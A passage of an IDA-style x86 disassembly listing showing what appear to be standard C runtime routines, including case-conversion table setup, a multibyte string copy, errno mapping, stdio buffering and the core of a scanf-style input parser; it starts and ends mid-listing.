xor eax, eax
mov esi, 100h
loc_420228: ; CODE XREF: sub_4200E8+180j
cmp eax, 41h
jb short loc_420246
cmp eax, 5Ah
ja short loc_420246
or byte_4DC7E1[eax], 10h
mov cl, al
add cl, 20h
loc_42023E: ; CODE XREF: sub_4200E8+174j
mov byte_4DC6E0[eax], cl
jmp short loc_420265
; ---------------------------------------------------------------------------
loc_420246: ; CODE XREF: sub_4200E8+143j
; sub_4200E8+148j
cmp eax, 61h
jb short loc_42025E
cmp eax, 7Ah
ja short loc_42025E
or byte_4DC7E1[eax], 20h
mov cl, al
sub cl, 20h
jmp short loc_42023E
; ---------------------------------------------------------------------------
loc_42025E: ; CODE XREF: sub_4200E8+161j
; sub_4200E8+166j
and byte_4DC6E0[eax], 0
loc_420265: ; CODE XREF: sub_4200E8+15Cj
inc eax
cmp eax, esi
jb short loc_420228
loc_42026A: ; CODE XREF: sub_4200E8+137j
pop esi
leave
retn
sub_4200E8 endp
; =============== S U B R O U T I N E =======================================
sub_42026D proc near ; CODE XREF: ___:00422E7Bp
; ___:00422ED7p ...
cmp dword_4DC914, 0
jnz short locret_420288
push 0FFFFFFFDh
call sub_41FEA9
pop ecx
mov dword_4DC914, 1
locret_420288: ; CODE XREF: sub_42026D+7j
retn
sub_42026D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_420289 proc near ; CODE XREF: sub_41B9D1+2Bp
; sub_41B9D1+A6p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
cmp dword_4DC6DC, 0
push edi
mov edi, [ebp+arg_0]
mov [ebp+arg_0], edi
jnz short loc_4202AD
push [ebp+arg_8]
push [ebp+arg_4]
push edi
call sub_41B5F0
add esp, 0Ch
jmp short loc_420310
; ---------------------------------------------------------------------------
loc_4202AD: ; CODE XREF: sub_420289+11j
mov edx, [ebp+arg_8]
push esi
test edx, edx
jz short loc_4202F2
mov ecx, [ebp+arg_4]
loc_4202B8: ; CODE XREF: sub_420289+5Bj
mov al, [ecx]
dec edx
movzx esi, al
test byte_4DC7E1[esi], 4
mov [edi], al
jz short loc_4202DC
inc edi
inc ecx
test edx, edx
jz short loc_4202E8
mov al, [ecx]
dec edx
mov [edi], al
inc edi
inc ecx
test al, al
jz short loc_4202EE
jmp short loc_4202E2
; ---------------------------------------------------------------------------
loc_4202DC: ; CODE XREF: sub_420289+3Ej
inc edi
inc ecx
test al, al
jz short loc_4202F2
loc_4202E2: ; CODE XREF: sub_420289+51j
test edx, edx
jnz short loc_4202B8
jmp short loc_4202F2
; ---------------------------------------------------------------------------
loc_4202E8: ; CODE XREF: sub_420289+44j
and byte ptr [edi-1], 0
jmp short loc_4202F2
; ---------------------------------------------------------------------------
loc_4202EE: ; CODE XREF: sub_420289+4Fj
and byte ptr [edi-2], 0
loc_4202F2: ; CODE XREF: sub_420289+2Aj
; sub_420289+57j ...
mov eax, edx
dec edx
test eax, eax
pop esi
jz short loc_42030D
lea ecx, [edx+1]
xor eax, eax
mov edx, ecx
shr ecx, 2
rep stosd
mov ecx, edx
and ecx, 3
rep stosb
loc_42030D: ; CODE XREF: sub_420289+6Fj
mov eax, [ebp+arg_0]
loc_420310: ; CODE XREF: sub_420289+22j
pop edi
pop ebp
retn
sub_420289 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_420313 proc near ; CODE XREF: sub_41BBBD+12Bp
var_4 = byte ptr -4
var_3 = byte ptr -3
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
cmp dword_4DB334, 0
push ebx
jnz short loc_42033E
mov eax, [ebp+arg_0]
cmp eax, 61h
jl loc_4203DC
cmp eax, 7Ah
jg loc_4203DC
sub eax, 20h
jmp loc_4203DC
; ---------------------------------------------------------------------------
loc_42033E: ; CODE XREF: sub_420313+Cj
mov ebx, [ebp+arg_0]
cmp ebx, 100h
jge short loc_420371
cmp dword_43C504, 1
jle short loc_42035E
push 2
push ebx
call sub_41F515
pop ecx
pop ecx
jmp short loc_420369
; ---------------------------------------------------------------------------
loc_42035E: ; CODE XREF: sub_420313+3Dj
mov eax, off_43C2F8
mov al, [eax+ebx*2]
and eax, 2
loc_420369: ; CODE XREF: sub_420313+49j
test eax, eax
jnz short loc_420371
loc_42036D: ; CODE XREF: sub_420313+AFj
mov eax, ebx
jmp short loc_4203DC
; ---------------------------------------------------------------------------
loc_420371: ; CODE XREF: sub_420313+34j
; sub_420313+58j
mov edx, off_43C2F8
mov eax, ebx
sar eax, 8
movzx ecx, al
test byte ptr [edx+ecx*2+1], 80h
jz short loc_420394
and byte ptr [ebp+arg_0+2], 0
mov byte ptr [ebp+arg_0], al
mov byte ptr [ebp+arg_0+1], bl
push 2
jmp short loc_42039D
; ---------------------------------------------------------------------------
loc_420394: ; CODE XREF: sub_420313+71j
and byte ptr [ebp+arg_0+1], 0
mov byte ptr [ebp+arg_0], bl
push 1
loc_42039D: ; CODE XREF: sub_420313+7Fj
pop eax
lea ecx, [ebp+var_4]
push 1
push 0
push 3
push ecx
push eax
lea eax, [ebp+arg_0]
push eax
push 200h
push dword_4DB334
call sub_422ACA
add esp, 20h
test eax, eax
jz short loc_42036D
cmp eax, 1
jnz short loc_4203CF
movzx eax, [ebp+var_4]
jmp short loc_4203DC
; ---------------------------------------------------------------------------
loc_4203CF: ; CODE XREF: sub_420313+B4j
movzx eax, [ebp+var_3]
movzx ecx, [ebp+var_4]
shl eax, 8
or eax, ecx
loc_4203DC: ; CODE XREF: sub_420313+14j
; sub_420313+1Dj ...
pop ebx
leave
retn
sub_420313 endp
; =============== S U B R O U T I N E =======================================
sub_4203DF proc near ; CODE XREF: sub_41BDDC+1Dp
; sub_41D3BE+16p ...
arg_0 = dword ptr 4
mov ecx, [esp+arg_0]
xor edx, edx
mov dword_4DB27C, ecx
mov eax, offset dword_43C610
loc_4203F0: ; CODE XREF: sub_4203DF+1Ej
cmp ecx, [eax]
jz short loc_420414
add eax, 8
inc edx
cmp eax, offset dword_43C778
jl short loc_4203F0
cmp ecx, 13h
jb short loc_420421
cmp ecx, 24h
ja short loc_420421
mov dword_4DB278, 0Dh
retn
; ---------------------------------------------------------------------------
loc_420414: ; CODE XREF: sub_4203DF+13j
mov eax, dword_43C614[edx*8]
mov dword_4DB278, eax
retn
; ---------------------------------------------------------------------------
loc_420421: ; CODE XREF: sub_4203DF+23j
; sub_4203DF+28j
cmp ecx, 0BCh
jb short loc_42043B
cmp ecx, 0CAh
mov dword_4DB278, 8
jbe short locret_420445
loc_42043B: ; CODE XREF: sub_4203DF+48j
mov dword_4DB278, 16h
locret_420445: ; CODE XREF: sub_4203DF+5Aj
retn
sub_4203DF endp
; =============== S U B R O U T I N E =======================================
sub_420446 proc near ; CODE XREF: sub_41BE06+8p
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
push dword ptr [esi+10h]
call sub_423E35
test eax, eax
pop ecx
jz short loc_4204CF
cmp esi, offset dword_43CA08
jnz short loc_420464
xor eax, eax
jmp short loc_42046F
; ---------------------------------------------------------------------------
loc_420464: ; CODE XREF: sub_420446+18j
cmp esi, offset dword_43CA28
jnz short loc_4204CF
push 1
pop eax
loc_42046F: ; CODE XREF: sub_420446+1Cj
inc dword_4DB460
test word ptr [esi+0Ch], 10Ch
jnz short loc_4204CF
cmp dword_4DB304[eax*4], 0
push ebx
push edi
lea edi, ds:4DB304h[eax*4]
mov ebx, 1000h
jnz short loc_4204B5
push ebx
call sub_41B4D5
test eax, eax
pop ecx
mov [edi], eax
jnz short loc_4204B5
lea eax, [esi+14h]
push 2
mov [esi+8], eax
mov [esi], eax
pop eax
mov [esi+18h], eax
mov [esi+4], eax
jmp short loc_4204C2
; ---------------------------------------------------------------------------
loc_4204B5: ; CODE XREF: sub_420446+4Dj
; sub_420446+5Aj
mov edi, [edi]
mov [esi+18h], ebx
mov [esi+8], edi
mov [esi], edi
mov [esi+4], ebx
loc_4204C2: ; CODE XREF: sub_420446+6Dj
or word ptr [esi+0Ch], 1102h
push 1
pop eax
pop edi
pop ebx
pop esi
retn
; ---------------------------------------------------------------------------
loc_4204CF: ; CODE XREF: sub_420446+10j
; sub_420446+24j ...
xor eax, eax
pop esi
retn
sub_420446 endp
; =============== S U B R O U T I N E =======================================
sub_4204D3 proc near ; CODE XREF: sub_41BE06+24p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
cmp [esp+arg_0], 0
push esi
jz short loc_4204FD
mov esi, [esp+4+arg_4]
test byte ptr [esi+0Dh], 10h
jz short loc_42050E
push esi
call sub_41DB8B
and byte ptr [esi+0Dh], 0EEh
and dword ptr [esi+18h], 0
and dword ptr [esi], 0
and dword ptr [esi+8], 0
pop ecx
pop esi
retn
; ---------------------------------------------------------------------------
loc_4204FD: ; CODE XREF: sub_4204D3+6j
mov eax, [esp+4+arg_4]
test byte ptr [eax+0Dh], 10h
jz short loc_42050E
push eax
call sub_41DB8B
pop ecx
loc_42050E: ; CODE XREF: sub_4204D3+10j
; sub_4204D3+32j
pop esi
retn
sub_4204D3 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_420510 proc near ; CODE XREF: sub_41C645+2Ap
var_1C4 = byte ptr -1C4h
var_1C3 = byte ptr -1C3h
var_64 = byte ptr -64h
var_59 = byte ptr -59h
var_44 = dword ptr -44h
var_3E = word ptr -3Eh
var_3C = dword ptr -3Ch
var_38 = byte ptr -38h
var_37 = byte ptr -37h
var_35 = byte ptr -35h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = byte ptr -18h
var_17 = byte ptr -17h
var_16 = byte ptr -16h
var_15 = byte ptr -15h
var_14 = dword ptr -14h
var_F = byte ptr -0Fh
var_E = byte ptr -0Eh
var_D = byte ptr -0Dh
var_C = dword ptr -0Ch
var_5 = byte ptr -5
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 1C4h
and [ebp+var_15], 0
push ebx
push esi
mov esi, [ebp+arg_4]
xor ebx, ebx
push edi
mov al, [esi]
mov [ebp+var_4], ebx
test al, al
mov [ebp+var_34], ebx
jz loc_420F16
mov edi, [ebp+arg_0]
jmp short loc_42053F
; ---------------------------------------------------------------------------
loc_42053A: ; CODE XREF: sub_420510+9CEj
mov edi, [ebp+arg_0]
xor ebx, ebx
loc_42053F: ; CODE XREF: sub_420510+28j
cmp dword_43C504, 1
jle short loc_420557
movzx eax, al
push 8
push eax
call sub_41F515
pop ecx
pop ecx
jmp short loc_420566
; ---------------------------------------------------------------------------
loc_420557: ; CODE XREF: sub_420510+36j
mov ecx, off_43C2F8
movzx eax, al
mov al, [ecx+eax*2]
and eax, 8
loc_420566: ; CODE XREF: sub_420510+45j
cmp eax, ebx
jz short loc_4205A0
dec [ebp+var_4]
push edi
lea eax, [ebp+var_4]
push edi
push eax
call sub_420F9D
pop ecx
pop ecx
push eax
call sub_420F86
movzx eax, byte ptr [esi+1]
inc esi
push eax
call sub_41D670
add esp, 0Ch
loc_42058E: ; CODE XREF: sub_420510+8Ej
test eax, eax
jz short loc_4205A0
movzx eax, byte ptr [esi+1]
inc esi
push eax
call sub_41D670
pop ecx
jmp short loc_42058E
; ---------------------------------------------------------------------------
loc_4205A0: ; CODE XREF: sub_420510+58j
; sub_420510+80j
cmp byte ptr [esi], 25h
jnz loc_420E82
and [ebp+var_35], 0
and [ebp+var_18], 0
and [ebp+var_17], 0
and [ebp+var_E], 0
and [ebp+var_F], 0
and [ebp+var_16], 0
xor edi, edi
and [ebp+var_5], 0
mov [ebp+var_1C], ebx
mov [ebp+var_20], ebx
mov [ebp+var_C], ebx
mov [ebp+var_D], 1
mov [ebp+var_30], ebx
loc_4205D7: ; CODE XREF: sub_420510+172j
movzx ebx, byte ptr [esi+1]
inc esi
cmp dword_43C504, 1
jle short loc_4205F4
movzx eax, bl
push 4
push eax
call sub_41F515
pop ecx
pop ecx
jmp short loc_420603
; ---------------------------------------------------------------------------
loc_4205F4: ; CODE XREF: sub_420510+D3j
mov ecx, off_43C2F8
movzx eax, bl
mov al, [ecx+eax*2]
and eax, 4
loc_420603: ; CODE XREF: sub_420510+E2j
test eax, eax
jz short loc_420619
mov eax, [ebp+var_C]
inc [ebp+var_20]
lea eax, [eax+eax*4]
lea eax, [ebx+eax*2-30h]
mov [ebp+var_C], eax
jmp short loc_42067E
; ---------------------------------------------------------------------------
loc_420619: ; CODE XREF: sub_420510+F5j
cmp ebx, 4Eh
jg short loc_42065C
jz short loc_42067E
cmp ebx, 2Ah
jz short loc_420657
cmp ebx, 46h
jz short loc_42067E
cmp ebx, 49h
jz short loc_420639
cmp ebx, 4Ch
jnz short loc_42066B
inc [ebp+var_D]
jmp short loc_42067E
; ---------------------------------------------------------------------------
loc_420639: ; CODE XREF: sub_420510+11Dj
cmp byte ptr [esi+1], 36h
jnz short loc_42066B
cmp byte ptr [esi+2], 34h
lea eax, [esi+2]
jnz short loc_42066B
inc [ebp+var_30]
and [ebp+var_28], 0
and [ebp+var_24], 0
mov esi, eax
jmp short loc_42067E
; ---------------------------------------------------------------------------
loc_420657: ; CODE XREF: sub_420510+113j
inc [ebp+var_E]
jmp short loc_42067E
; ---------------------------------------------------------------------------
loc_42065C: ; CODE XREF: sub_420510+10Cj
cmp ebx, 68h
jz short loc_420678
cmp ebx, 6Ch
jz short loc_420670
cmp ebx, 77h
jz short loc_420673
loc_42066B: ; CODE XREF: sub_420510+122j
; sub_420510+12Dj ...
inc [ebp+var_F]
jmp short loc_42067E
; ---------------------------------------------------------------------------
loc_420670: ; CODE XREF: sub_420510+154j
inc [ebp+var_D]
loc_420673: ; CODE XREF: sub_420510+159j
inc [ebp+var_5]
jmp short loc_42067E
; ---------------------------------------------------------------------------
loc_420678: ; CODE XREF: sub_420510+14Fj
dec [ebp+var_D]
dec [ebp+var_5]
loc_42067E: ; CODE XREF: sub_420510+107j
; sub_420510+10Ej ...
cmp [ebp+var_F], 0
jz loc_4205D7
cmp [ebp+var_E], 0
mov [ebp+arg_4], esi
jnz short loc_4206A3
mov eax, [ebp+arg_8]
mov [ebp+var_44], eax
add eax, 4
mov [ebp+arg_8], eax
mov eax, [eax-4]
mov [ebp+var_2C], eax
loc_4206A3: ; CODE XREF: sub_420510+17Fj
and [ebp+var_F], 0
cmp [ebp+var_5], 0
jnz short loc_4206C1
mov al, [esi]
cmp al, 53h
jz short loc_4206BD
cmp al, 43h
jz short loc_4206BD
or [ebp+var_5], 0FFh
jmp short loc_4206C1
; ---------------------------------------------------------------------------
loc_4206BD: ; CODE XREF: sub_420510+1A1j
; sub_420510+1A5j
mov [ebp+var_5], 1
loc_4206C1: ; CODE XREF: sub_420510+19Bj
; sub_420510+1ABj
mov ebx, [ebp+arg_4]
movzx esi, byte ptr [ebx]
or esi, 20h
cmp esi, 6Eh
mov [ebp+var_3C], esi
jz short loc_4206FA
cmp esi, 63h
jz short loc_4206EB
cmp esi, 7Bh
jz short loc_4206EB
push [ebp+arg_0]
lea eax, [ebp+var_4]
push eax
call sub_420F9D
pop ecx
jmp short loc_4206F6
; ---------------------------------------------------------------------------
loc_4206EB: ; CODE XREF: sub_420510+1C5j
; sub_420510+1CAj
push [ebp+arg_0]
inc [ebp+var_4]
call sub_420F6C
loc_4206F6: ; CODE XREF: sub_420510+1D9j
pop ecx
mov [ebp+var_14], eax
loc_4206FA: ; CODE XREF: sub_420510+1C0j
xor eax, eax
cmp [ebp+var_20], eax
jz short loc_42070A
cmp [ebp+var_C], eax
jz loc_420EE6
loc_42070A: ; CODE XREF: sub_420510+1EFj
cmp esi, 6Fh
jg loc_420971
jz loc_420C23
cmp esi, 63h
jz loc_42094E
cmp esi, 64h
jz loc_420C23
jle loc_42099B
cmp esi, 67h
jle short loc_42076E
cmp esi, 69h
jz short loc_420756
cmp esi, 6Eh
jnz loc_42099B
cmp [ebp+var_E], 0
mov edi, [ebp+var_4]
jz loc_420E51
jmp loc_420E77
; ---------------------------------------------------------------------------
loc_420756: ; CODE XREF: sub_420510+229j
push 64h
pop esi
loc_420759: ; CODE XREF: sub_420510+480j
mov ebx, [ebp+var_14]
cmp ebx, 2Dh
jnz loc_4209E3
mov [ebp+var_17], 1
jmp loc_4209E8
; ---------------------------------------------------------------------------
loc_42076E: ; CODE XREF: sub_420510+224j
mov ebx, [ebp+var_14]
lea esi, [ebp+var_1C4]
cmp ebx, 2Dh
jnz short loc_42078A
mov [ebp+var_1C4], bl
lea esi, [ebp+var_1C3]
jmp short loc_42078F
; ---------------------------------------------------------------------------
loc_42078A: ; CODE XREF: sub_420510+26Aj
cmp ebx, 2Bh
jnz short loc_4207A6
loc_42078F: ; CODE XREF: sub_420510+278j
mov edi, [ebp+arg_0]
dec [ebp+var_C]
inc [ebp+var_4]
push edi
call sub_420F6C
mov ebx, eax
pop ecx
mov [ebp+var_14], ebx
jmp short loc_4207A9
; ---------------------------------------------------------------------------
loc_4207A6: ; CODE XREF: sub_420510+27Dj
mov edi, [ebp+arg_0]
loc_4207A9: ; CODE XREF: sub_420510+294j
cmp [ebp+var_20], 0
jz short loc_4207B8
cmp [ebp+var_C], 15Dh
jle short loc_4207BF
loc_4207B8: ; CODE XREF: sub_420510+29Dj
mov [ebp+var_C], 15Dh
loc_4207BF: ; CODE XREF: sub_420510+2A6j
; sub_420510+2F2j
cmp dword_43C504, 1
jle short loc_4207D4
push 4
push ebx
call sub_41F515
pop ecx
pop ecx
jmp short loc_4207DF
; ---------------------------------------------------------------------------
loc_4207D4: ; CODE XREF: sub_420510+2B6j
mov eax, off_43C2F8
mov al, [eax+ebx*2]
and eax, 4
loc_4207DF: ; CODE XREF: sub_420510+2C2j
test eax, eax
jz short loc_420804
mov eax, [ebp+var_C]
dec [ebp+var_C]
test eax, eax
jz short loc_420804
inc [ebp+var_1C]
mov [esi], bl
inc esi
inc [ebp+var_4]
push edi
call sub_420F6C
mov ebx, eax
pop ecx
mov [ebp+var_14], ebx
jmp short loc_4207BF
; ---------------------------------------------------------------------------
loc_420804: ; CODE XREF: sub_420510+2D1j
; sub_420510+2DBj
cmp byte_43C508, bl
jnz short loc_420872
mov eax, [ebp+var_C]
dec [ebp+var_C]
test eax, eax
jz short loc_420872
inc [ebp+var_4]
push edi
call sub_420F6C
mov ebx, eax
mov al, byte_43C508
mov [esi], al
pop ecx
mov [ebp+var_14], ebx
inc esi
loc_42082D: ; CODE XREF: sub_420510+360j
cmp dword_43C504, 1
jle short loc_420842
push 4
push ebx
call sub_41F515
pop ecx
pop ecx
jmp short loc_42084D
; ---------------------------------------------------------------------------
loc_420842: ; CODE XREF: sub_420510+324j
mov eax, off_43C2F8
mov al, [eax+ebx*2]
and eax, 4
loc_42084D: ; CODE XREF: sub_420510+330j
test eax, eax
jz short loc_420872
mov eax, [ebp+var_C]
dec [ebp+var_C]
test eax, eax
jz short loc_420872
inc [ebp+var_1C]
mov [esi], bl
inc esi
inc [ebp+var_4]
push edi
call sub_420F6C
mov ebx, eax
pop ecx
mov [ebp+var_14], ebx
jmp short loc_42082D
; ---------------------------------------------------------------------------
loc_420872: ; CODE XREF: sub_420510+2FAj
; sub_420510+304j ...
cmp [ebp+var_1C], 0
jz loc_42090A
cmp ebx, 65h
jz short loc_42088A
cmp ebx, 45h
jnz loc_42090A
loc_42088A: ; CODE XREF: sub_420510+36Fj
mov eax, [ebp+var_C]
dec [ebp+var_C]
test eax, eax
jz short loc_42090A
mov byte ptr [esi], 65h
inc esi
inc [ebp+var_4]
push edi
call sub_420F6C
mov ebx, eax
pop ecx
cmp ebx, 2Dh
mov [ebp+var_14], ebx
jnz short loc_4208B1
mov [esi], al
inc esi
jmp short loc_4208B6
; ---------------------------------------------------------------------------
loc_4208B1: ; CODE XREF: sub_420510+39Aj
cmp ebx, 2Bh
jnz short loc_4208D4
loc_4208B6: ; CODE XREF: sub_420510+39Fj
mov eax, [ebp+var_C]
dec [ebp+var_C]
test eax, eax
jnz short loc_4208C5
and [ebp+var_C], eax
jmp short loc_4208D4
; ---------------------------------------------------------------------------
loc_4208C5: ; CODE XREF: sub_420510+3AEj
; sub_420510+3F8j
inc [ebp+var_4]
push edi
call sub_420F6C
mov ebx, eax
pop ecx
mov [ebp+var_14], ebx
loc_4208D4: ; CODE XREF: sub_420510+3A4j
; sub_420510+3B3j
cmp dword_43C504, 1
jle short loc_4208E9
push 4
push ebx
call sub_41F515
pop ecx
pop ecx
jmp short loc_4208F4
; ---------------------------------------------------------------------------
loc_4208E9: ; CODE XREF: sub_420510+3CBj
mov eax, off_43C2F8
mov al, [eax+ebx*2]
and eax, 4
loc_4208F4: ; CODE XREF: sub_420510+3D7j
test eax, eax
jz short loc_42090A
mov eax, [ebp+var_C]
dec [ebp+var_C]
test eax, eax
jz short loc_42090A
inc [ebp+var_1C]
mov [esi], bl
inc esi
jmp short loc_4208C5
; ---------------------------------------------------------------------------
loc_42090A: ; CODE XREF: sub_420510+366j
; sub_420510+374j ...
dec [ebp+var_4]
push edi
push ebx
call sub_420F86
cmp [ebp+var_1C], 0
pop ecx
pop ecx
jz loc_420F16
cmp [ebp+var_E], 0
jnz loc_420E77
inc [ebp+var_34]
and byte ptr [esi], 0
lea eax, [ebp+var_1C4]
push eax
movsx eax, [ebp+var_D]
push [ebp+var_2C]
dec eax
push eax
call off_43C8A8
add esp, 0Ch
jmp loc_420E77
; ---------------------------------------------------------------------------
loc_42094E: ; CODE XREF: sub_420510+20Cj
cmp [ebp+var_20], eax
jnz short loc_42095D
inc [ebp+var_C]
mov [ebp+var_20], 1
loc_42095D: ; CODE XREF: sub_420510+441j
cmp [ebp+var_5], 0
jle short loc_420967
mov [ebp+var_16], 1
loc_420967: ; CODE XREF: sub_420510+451j
mov edi, offset dword_43C780
jmp loc_420A7C
; ---------------------------------------------------------------------------
loc_420971: ; CODE XREF: sub_420510+1FDj
mov eax, esi
sub eax, 70h
jz loc_420C1F
sub eax, 3
jz loc_420A6D
dec eax
dec eax
jz loc_420C23
sub eax, 3
jz loc_420759
sub eax, 3
jz short loc_4209BF
loc_42099B: ; CODE XREF: sub_420510+21Bj
; sub_420510+22Ej
movzx eax, byte ptr [ebx]
cmp eax, [ebp+var_14]
jnz loc_420EE6
dec [ebp+var_15]
cmp [ebp+var_E], 0
jnz loc_420E77
mov eax, [ebp+var_44]
mov [ebp+arg_8], eax
jmp loc_420E77
; ---------------------------------------------------------------------------
loc_4209BF: ; CODE XREF: sub_420510+489j
cmp [ebp+var_5], 0
jle short loc_4209C9
mov [ebp+var_16], 1
loc_4209C9: ; CODE XREF: sub_420510+4B3j
mov edi, [ebp+arg_4]
inc edi
mov [ebp+arg_4], edi
cmp byte ptr [edi], 5Eh
jnz loc_420A80
mov eax, edi
lea edi, [eax+1]
jmp loc_420A7C
; ---------------------------------------------------------------------------
loc_4209E3: ; CODE XREF: sub_420510+24Fj
cmp ebx, 2Bh
jnz short loc_420A0A
loc_4209E8: ; CODE XREF: sub_420510+259j
dec [ebp+var_C]
jnz short loc_4209F9
cmp [ebp+var_20], 0
jz short loc_4209F9
mov [ebp+var_F], 1
jmp short loc_420A0A
; ---------------------------------------------------------------------------
loc_4209F9: ; CODE XREF: sub_420510+4DBj
; sub_420510+4E1j
push [ebp+arg_0]
inc [ebp+var_4]
call sub_420F6C
mov ebx, eax
pop ecx
mov [ebp+var_14], ebx
loc_420A0A: ; CODE XREF: sub_420510+4D6j
; sub_420510+4E7j
cmp ebx, 30h
jnz loc_420C58
push [ebp+arg_0]
inc [ebp+var_4]
call sub_420F6C
mov ebx, eax
pop ecx
cmp bl, 78h
mov [ebp+var_14], ebx
jz short loc_420A58
cmp bl, 58h
jz short loc_420A58
cmp esi, 78h
mov [ebp+var_1C], 1
jz short loc_420A42
push 6Fh
loc_420A3C: ; CODE XREF: sub_420510+55Bj
pop esi
jmp loc_420C58
; ---------------------------------------------------------------------------
loc_420A42: ; CODE XREF: sub_420510+528j
push [ebp+arg_0]
dec [ebp+var_4]
push ebx
call sub_420F86
pop ecx
pop ecx
push 30h
pop ebx
jmp loc_420C55
; ---------------------------------------------------------------------------
loc_420A58: ; CODE XREF: sub_420510+517j
; sub_420510+51Cj
push [ebp+arg_0]
inc [ebp+var_4]
call sub_420F6C
pop ecx
mov ebx, eax
mov [ebp+var_14], ebx
push 78h
jmp short loc_420A3C
; ---------------------------------------------------------------------------
loc_420A6D: ; CODE XREF: sub_420510+46Fj
cmp [ebp+var_5], 0
jle short loc_420A77
mov [ebp+var_16], 1
loc_420A77: ; CODE XREF: sub_420510+561j
mov edi, offset dword_43C778
loc_420A7C: ; CODE XREF: sub_420510+45Cj
; sub_420510+4CEj
or [ebp+var_18], 0FFh
loc_420A80: ; CODE XREF: sub_420510+4C3j
push 20h
lea eax, [ebp+var_64]
push 0
push eax
call sub_41B590
add esp, 0Ch
cmp [ebp+var_3C], 7Bh
jnz short loc_420AA4
cmp byte ptr [edi], 5Dh
jnz short loc_420AA4
mov dl, 5Dh
inc edi
mov [ebp+var_59], 20h
jmp short loc_420AA7
; ---------------------------------------------------------------------------
loc_420AA4: ; CODE XREF: sub_420510+584j
; sub_420510+589j
mov dl, [ebp+var_35]
loc_420AA7: ; CODE XREF: sub_420510+592j
; sub_420510+5E1j ...
mov al, [edi]
cmp al, 5Dh
jz short loc_420B0C
inc edi
cmp al, 2Dh
jnz short loc_420AF3
test dl, dl
jz short loc_420AF3
mov cl, [edi]
cmp cl, 5Dh
jz short loc_420AF3
inc edi
cmp dl, cl
jnb short loc_420AC6
mov al, cl
jmp short loc_420ACA
; ---------------------------------------------------------------------------
loc_420AC6: ; CODE XREF: sub_420510+5B0j
mov al, dl
mov dl, cl
loc_420ACA: ; CODE XREF: sub_420510+5B4j
cmp dl, al
ja short loc_420AEF
movzx edx, dl
movzx esi, al
sub esi, edx
inc esi
loc_420AD7: ; CODE XREF: sub_420510+5DDj
mov ecx, edx
mov eax, edx
and ecx, 7
mov bl, 1
shr eax, 3
shl bl, cl
lea eax, [ebp+eax+var_64]
or [eax], bl
inc edx
dec esi
jnz short loc_420AD7
loc_420AEF: ; CODE XREF: sub_420510+5BCj
xor dl, dl
jmp short loc_420AA7
; ---------------------------------------------------------------------------
loc_420AF3: ; CODE XREF: sub_420510+5A0j
; sub_420510+5A4j ...
movzx ecx, al
mov dl, al
mov eax, ecx
and ecx, 7
mov bl, 1
shr eax, 3
shl bl, cl
lea eax, [ebp+eax+var_64]
or [eax], bl
jmp short loc_420AA7
; ---------------------------------------------------------------------------
loc_420B0C: ; CODE XREF: sub_420510+59Bj
cmp byte ptr [edi], 0
jz loc_420F16
cmp [ebp+var_3C], 7Bh
jnz short loc_420B1E
mov [ebp+arg_4], edi
loc_420B1E: ; CODE XREF: sub_420510+609j
mov edi, [ebp+arg_0]
mov esi, [ebp+var_2C]
dec [ebp+var_4]
push edi
push [ebp+var_14]
mov [ebp+var_30], esi
call sub_420F86
pop ecx
pop ecx
loc_420B35: ; CODE XREF: sub_420510+6BCj
; sub_420510+6C4j
cmp [ebp+var_20], 0
jz short loc_420B49
mov eax, [ebp+var_C]
dec [ebp+var_C]
test eax, eax
jz loc_420BE5
loc_420B49: ; CODE XREF: sub_420510+629j
inc [ebp+var_4]
push edi
call sub_420F6C
cmp eax, 0FFFFFFFFh
pop ecx
mov [ebp+var_14], eax
jz short loc_420BD9
mov ecx, eax
push 1
and ecx, 7
pop edx
movsx ebx, [ebp+var_18]
shl edx, cl
mov ecx, eax
sar ecx, 3
movsx ecx, [ebp+ecx+var_64]
xor ecx, ebx
test edx, ecx
jz short loc_420BD9
cmp [ebp+var_E], 0
jnz short loc_420BD1
cmp [ebp+var_16], 0
jz short loc_420BC6
mov ecx, off_43C2F8
mov [ebp+var_38], al
movzx eax, al
test byte ptr [ecx+eax*2+1], 80h
jz short loc_420BA5
inc [ebp+var_4]
push edi
call sub_420F6C
pop ecx
mov [ebp+var_37], al
loc_420BA5: ; CODE XREF: sub_420510+686j
push dword_43C504
lea eax, [ebp+var_38]
push eax
lea eax, [ebp+var_3E]
push eax
call sub_423EC3
mov ax, [ebp+var_3E]
add esp, 0Ch
mov [esi], ax
inc esi
inc esi
jmp short loc_420BC9
; ---------------------------------------------------------------------------
loc_420BC6: ; CODE XREF: sub_420510+673j
mov [esi], al
inc esi
loc_420BC9: ; CODE XREF: sub_420510+6B4j
mov [ebp+var_2C], esi
jmp loc_420B35
; ---------------------------------------------------------------------------
loc_420BD1: ; CODE XREF: sub_420510+66Dj
inc [ebp+var_30]
jmp loc_420B35
; ---------------------------------------------------------------------------
loc_420BD9: ; CODE XREF: sub_420510+649j
; sub_420510+667j
dec [ebp+var_4]
push edi
push eax
call sub_420F86
pop ecx
pop ecx
loc_420BE5: ; CODE XREF: sub_420510+633j
cmp [ebp+var_30], esi
jz loc_420F16
cmp [ebp+var_E], 0
jnz loc_420E77
inc [ebp+var_34]
cmp [ebp+var_3C], 63h
jz loc_420E77
cmp [ebp+var_16], 0
mov eax, [ebp+var_2C]
jz short loc_420C17
and word ptr [eax], 0
jmp loc_420E77
; ---------------------------------------------------------------------------
loc_420C17: ; CODE XREF: sub_420510+6FCj
and byte ptr [eax], 0
jmp loc_420E77
; ---------------------------------------------------------------------------
loc_420C1F: ; CODE XREF: sub_420510+466j
mov [ebp+var_D], 1
loc_420C23: ; CODE XREF: sub_420510+203j
; sub_420510+215j ...
mov ebx, [ebp+var_14]
cmp ebx, 2Dh
jnz short loc_420C31
mov [ebp+var_17], 1
jmp short loc_420C36
; ---------------------------------------------------------------------------
